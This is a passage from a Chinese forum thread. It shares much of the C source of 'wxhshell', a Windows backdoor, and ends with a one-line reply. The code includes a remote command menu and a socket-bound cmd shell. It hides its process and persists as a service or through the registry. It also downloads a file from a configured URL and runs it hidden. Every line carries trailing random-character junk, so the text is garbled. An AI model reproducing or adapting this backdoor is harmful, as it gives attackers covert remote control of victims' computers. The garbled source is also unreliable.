  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Nm$i"Lg  
  else ZDt?j   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k N7Bd}  
  } bHE2,;o  
  else { A8r^)QJP{  
/F)H\*  
    switch(cmd[0]) { :-T*gqj|  
  -NJ!g/ >mM  
  // 帮助 V3Z]DA  
  case '?': { g}LAks  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0#_'o ,  
    break; i3$$,W!  
  } fyknP)21I  
  // 安装 L gk   
  case 'i': { dT|vYK}\  
    if(Install()) sD;M!K_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a_~=#]a  
    else k[j90C5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >l']H*&B<  
    break; 4T6 {Y  
    } IxZb$h[  
  // 卸载 V)ig)(CT  
  case 'r': { Y f@e=:  
    if(Uninstall()) L{-LX= G^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =c.5874A`  
    else fWnD\mx?0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]6r;}1c  
    break; zi9[)YqxPH  
    } RE2&mYt  
  // 显示 wxhshell 所在路径 NoE*/!Sr  
  case 'p': { Qn@Pd*DR  
    char svExeFile[MAX_PATH]; ZBT1Y.qA  
    strcpy(svExeFile,"\n\r"); w8S!%abl1  
      strcat(svExeFile,ExeFile); Q4*?1`IsR  
        send(wsh,svExeFile,strlen(svExeFile),0); l7H qo)  
    break; D,v U  
    } #DU26nCL  
  // 重启 a' Ki;]q  
  case 'b': { t]jFo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `{k"8#4:qA  
    if(Boot(REBOOT)) .IBp\7W!?E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b V+(b9  
    else { i<kD  
    closesocket(wsh); #'D" 'B  
    ExitThread(0); g- AHdYJ  
    } J]l rS  
    break; #6Fez`A  
    } hI%bjuq  
  // 关机 O/AaYA&  
  case 'd': { >(uZtYM\j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [FA{x?v kf  
    if(Boot(SHUTDOWN)) c\B|KhDk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X[ q+619  
    else { {"oxJ`z4  
    closesocket(wsh); $vC1 K5sLk  
    ExitThread(0); ;<yd^Xs  
    } b2aF 'y/  
    break; 3bk|<7tl  
    } p&+;w  
  // 获取shell (" LQll9  
  case 's': { ];.pK  
    CmdShell(wsh); +fvaUV_-  
    closesocket(wsh); 3_~cMlr3T.  
    ExitThread(0); 3)-/`iy#  
    break; ee%fqVQ8P  
  } ~gB>) ]  
  // 退出 5N%93{L  
  case 'x': { hxCvk/7sT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }|PY!O  
    CloseIt(wsh); /}Jj  
    break; ono4U.C9  
    } PH"n{lW.T  
  // 离开 5>BK%`  
  case 'q': { >2bKSh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PV|uPuz  
    closesocket(wsh); ^Ge+~o?x  
    WSACleanup(); j'9"cE5_  
    exit(1); i4^o59}8  
    break; !r# ?C9Sq  
        } :Ad &$e g+  
  } X]\ \,  
  } bh^LIU  
(aD_zG=k5  
  // 提示信息 6iCrRjY*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '1M7M(va  
} w)Covz'uf  
  } |V<h=D5W  
^Z:~91Tv-_  
  return; ]`Oo%$Ue  
} #1>X58I^  
gx%|Pgd  
// shell模块句柄 R {-5Etv  
int CmdShell(SOCKET sock) **}h&k&%2  
{ <=f}8a.R3  
STARTUPINFO si; (V4 ~`i4V  
ZeroMemory(&si,sizeof(si)); Ei2'[PK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lo[.&GD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; liXdNk8  
PROCESS_INFORMATION ProcessInfo; (\SA *.)  
char cmdline[]="cmd"; m 9/}~Y#k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,?L2wl[  
  return 0; 8MSC.0   
} qi_Jywd:w  
x g0iN'e'K  
// 自身启动模式 2Lx3=k  
int StartFromService(void) fFc/ d(  
{ k+ze74_"  
typedef struct 9/nn)soC3  
{ ztw@Y|<2  
  DWORD ExitStatus; V O3x~E  
  DWORD PebBaseAddress; 8QM(?A  
  DWORD AffinityMask; D:erBMKv,  
  DWORD BasePriority; u,&^&0K,  
  ULONG UniqueProcessId; ^k]XEW{PG  
  ULONG InheritedFromUniqueProcessId; *hw\35%P`?  
}   PROCESS_BASIC_INFORMATION; b[`Yi1^]%g  
92EWIHEWZ  
PROCNTQSIP NtQueryInformationProcess; {~F4WjHJp  
B[KJR?>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mya_4I m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;Rv!k&Df  
5O\*h;U 6  
  HANDLE             hProcess; C+TI]{t  
  PROCESS_BASIC_INFORMATION pbi; }I :OsAw  
92 [; Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nJo`B4'U  
  if(NULL == hInst ) return 0; hRCed4qA  
5F~'gLH/F-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RO.k]x6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Rb.SY{}C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >k'c' 7/  
!P -^O  
  if (!NtQueryInformationProcess) return 0; IP(Vr7-v  
L|,!?cSAT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;UfCj5`Q)4  
  if(!hProcess) return 0; 8|" XSN  
% ClHCoyA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qc pm !  
ZSG9t2qlv  
  CloseHandle(hProcess); (JM5`XwM  
'nwx9]q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `5C,N!d8X  
if(hProcess==NULL) return 0; f` ;j:O  
PF53mUs4  
HMODULE hMod; bLwAXW2K+  
char procName[255];  0}CGuws  
unsigned long cbNeeded; ^3UGV*Ypk  
?W)A   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (,8$V\  
7D;cw\ |  
  CloseHandle(hProcess); |b)Y#)C;  
fc |GArL#}  
if(strstr(procName,"services")) return 1; // 以服务启动 @ g&ct>@y  
^Gqt+K%  
  return 0; // 注册表启动 z[3L2U~6  
} sL\L"rQN6  
lhBT@5Dm9  
// 主模块 pNKhc#-w  
int StartWxhshell(LPSTR lpCmdLine) kYjGj,m"  
{ /|D*w^ >  
  SOCKET wsl; Ym =FgM\  
BOOL val=TRUE; 3yB!M  
  int port=0; J%,*is EL  
  struct sockaddr_in door; lw< c2 C  
[@5Ytv H  
  if(wscfg.ws_autoins) Install(); 5.MGaU^Z$  
;ShJi  
port=atoi(lpCmdLine); 28UU60  
l\@)y4 +  
if(port<=0) port=wscfg.ws_port; ]{ntt}3G,  
<OIIoB?t  
  WSADATA data; Ro9tZ'N!S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uLWh |   
-}KC=,]vh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SN1}xR$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n\^Tq<] a  
  door.sin_family = AF_INET; N19({0+i2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <y?r!l=Am  
  door.sin_port = htons(port); R wZ]),o  
.%L?J E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jbS\vyG  
closesocket(wsl); 'coV^~qy  
return 1; pLLGus+W  
} lc~%=  
~2gG(1%At9  
  if(listen(wsl,2) == INVALID_SOCKET) { -@0GcUE:r  
closesocket(wsl); }#&#^ B#?O  
return 1; ;{KV /<3  
} /assq+H  
  Wxhshell(wsl); Qm Ce>+  
  WSACleanup(); Bg|5KOnd  
3_MS.iM  
return 0; e,Uo#T6J  
pUV/ Ul]  
} K*X_FJ  
{M^3m5.^  
// 以NT服务方式启动 RT.D"WvT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -UOj>{-  
{ "O%gFye  
DWORD   status = 0; MP4z-4Y  
  DWORD   specificError = 0xfffffff; ZHm7Isa1  
}M H0L#Tu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )|DM~%$QM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \E*d\hrl{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mjKS{  
  serviceStatus.dwWin32ExitCode     = 0; &C "L  
  serviceStatus.dwServiceSpecificExitCode = 0; CTZh0 x  
  serviceStatus.dwCheckPoint       = 0; k[:bQ)H  
  serviceStatus.dwWaitHint       = 0; x6e}( &p*  
WRrd'{sB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k{Me[B  
  if (hServiceStatusHandle==0) return; rjp-Fw~1w  
!U'QqnT  
status = GetLastError(); tavpq.0O  
  if (status!=NO_ERROR) i03w 1pSH,  
{ 'gTbA?+@5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RF%KA[Dj  
    serviceStatus.dwCheckPoint       = 0; DUC#NZgw  
    serviceStatus.dwWaitHint       = 0; 5sx1Zq7  
    serviceStatus.dwWin32ExitCode     = status; =[@zF9  
    serviceStatus.dwServiceSpecificExitCode = specificError; JU^lyi!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ytJ=0r  
    return; =A!@6Nw  
  } Z(ACc9k6:'  
(}EB2V9Hh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C ihAU"  
  serviceStatus.dwCheckPoint       = 0; o'f?YZ$.  
  serviceStatus.dwWaitHint       = 0; -8j+s}Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,u`YT%&L  
} ,z-}t& _t  
q(2K6  
// 处理NT服务事件,比如:启动、停止 Ai gS!-   
VOID WINAPI NTServiceHandler(DWORD fdwControl) S/ODq L|  
{ nysUZB  
switch(fdwControl) w6{TE(]zp  
{ Y[$!`);Ye  
case SERVICE_CONTROL_STOP: r?Wk<>%>  
  serviceStatus.dwWin32ExitCode = 0; vfE6Ggz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; < F`>,Pm  
  serviceStatus.dwCheckPoint   = 0; k|lcc^[0  
  serviceStatus.dwWaitHint     = 0; Vc2A  
  { .[3Z1v,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [5+}rwm&W  
  } I/L_@X<*r  
  return; }A7j/uy}s  
case SERVICE_CONTROL_PAUSE: ZGYr$C~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O2f-5Y$@  
  break; Ft;^g3N  
case SERVICE_CONTROL_CONTINUE: f'VX Y-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i-6F:\;  
  break; qCqFy#Ms\  
case SERVICE_CONTROL_INTERROGATE: |(q9"  
  break; 0^RXGN  
}; h >s!K9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BC&9fr  
} <\}KT*Xp  
NH<5*I/  
// 标准应用程序主函数 U~j ^I^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o\3L}Y  
{ oWC@w  
Gch[Otq]%  
// 获取操作系统版本 T3pmVl  
OsIsNt=GetOsVer(); Ou1JIxZ)|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }0X:F`Y-  
%+K<<iyR|  
  // 从命令行安装 ek}a}.3 {  
  if(strpbrk(lpCmdLine,"iI")) Install(); zOa_X~!@  
V*iH}Y?^p  
  // 下载执行文件 nY`RR C  
if(wscfg.ws_downexe) { )Hk3A$6(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Hr]h J c  
  WinExec(wscfg.ws_filenam,SW_HIDE); ktdW`R\+  
} DFd%9*N  
YGPy@-,E  
if(!OsIsNt) { 9uBM<  
// 如果时win9x,隐藏进程并且设置为注册表启动 .On|uC)!  
HideProc(); Tny%7xSx1  
StartWxhshell(lpCmdLine); fI~Xmw+}}  
} vOc 9ZE  
else '_/Bp4i  
  if(StartFromService()) fmiz,$O4?  
  // 以服务方式启动 f1_<G  
  StartServiceCtrlDispatcher(DispatchTable); OI0;BBZ  
else d~`x )B(  
  // 普通方式启动 ZO)S`W  
  StartWxhshell(lpCmdLine); E8n)}[k!0  
9J>&29@us0  
return 0; nCj2N,mT  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八